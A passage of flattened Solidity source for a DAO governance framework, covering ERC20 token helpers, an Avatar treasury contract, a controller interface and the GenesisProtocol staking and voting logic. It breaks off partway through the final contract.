function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
pragma solidity ^0.5.0;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.4;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.4;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
pragma solidity ^0.5.4;
contract UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.4;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.4;
contract UniversalScheme is UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
pragma solidity ^0.5.0;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.4;
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
if (tempExponent != 0) {
tempRealBase = mul(tempRealBase, tempRealBase);
}
}
return realResult;
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
uint256 res = realA * realB;
require(res/realA == realB, "RealMath mul overflow");
return (res >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
pragma solidity ^0.5.4;
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
pragma solidity ^0.5.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint256;
using Math for uint256;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 secondsFromTimeOutTillExecuteBoosted;
uint[3] times;
bool daoRedeemItsWinnings;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
event ConfidenceLevelChange(bytes32 indexed _proposalId, uint256 _confidenceThreshold);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
proposal.daoBountyRemain = daoBounty.max(parameters[_paramsHash].minimumDaoBounty);
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod,
"proposal state in not Boosted nor QuietEndingPeriod");
require(_execute(_proposalId), "proposal need to expire");
proposal.secondsFromTimeOutTillExecuteBoosted =
now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1]));
expirationCallBounty = calcExecuteCallBounty(_proposalId);
proposal.totalStakes = proposal.totalStakes.sub(expirationCallBounty);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
Staker storage staker = proposal.stakers[_beneficiary];
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
uint256 totalStakesLeftAfterCallBounty =
proposal.stakes[NO].add(proposal.stakes[YES]).sub(calcExecuteCallBounty(_proposalId));
if (staker.amount > 0) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
if (staker.vote == YES) {
if (proposal.daoBounty < totalStakesLeftAfterCallBounty) {
uint256 _totalStakes = totalStakesLeftAfterCallBounty.sub(proposal.daoBounty);
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
}
} else {
rewards[0] = (staker.amount.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes;
}
}
staker.amount = 0;
}
if (proposal.daoRedeemItsWinnings == false &&
_beneficiary == organizations[proposal.organizationId] &&
proposal.state != ProposalState.ExpiredInQueue &&
proposal.winningVote == NO) {
rewards[0] =
rewards[0]
.add((proposal.daoBounty.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes)
.sub(proposal.daoBounty);
proposal.daoRedeemItsWinnings = true;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/proposal.preBoostedVotes[proposal.winningVote]);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function calcExecuteCallBounty(bytes32 _proposalId) public view returns(uint256) {
uint maxRewardSeconds = 1500;
uint rewardSeconds =
uint256(maxRewardSeconds).min(proposals[_proposalId].secondsFromTimeOutTillExecuteBoosted);
return rewardSeconds.mul(proposals[_proposalId].stakes[YES]).div(maxRewardSeconds*10);
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if (_score(_proposalId) > confidenceThreshold) {
if (orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
proposal.state = ProposalState.Queued;
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
emit ConfidenceLevelChange(_proposalId, confidenceThreshold);
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= uint256(0x100000000000000000000000000000000).sub(proposal.daoBountyRemain),
"total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
emit StateChange(_proposalId, proposal.state);
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return uint216(proposal.stakes[YES]).fraction(uint216(proposal.stakes[NO]));
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
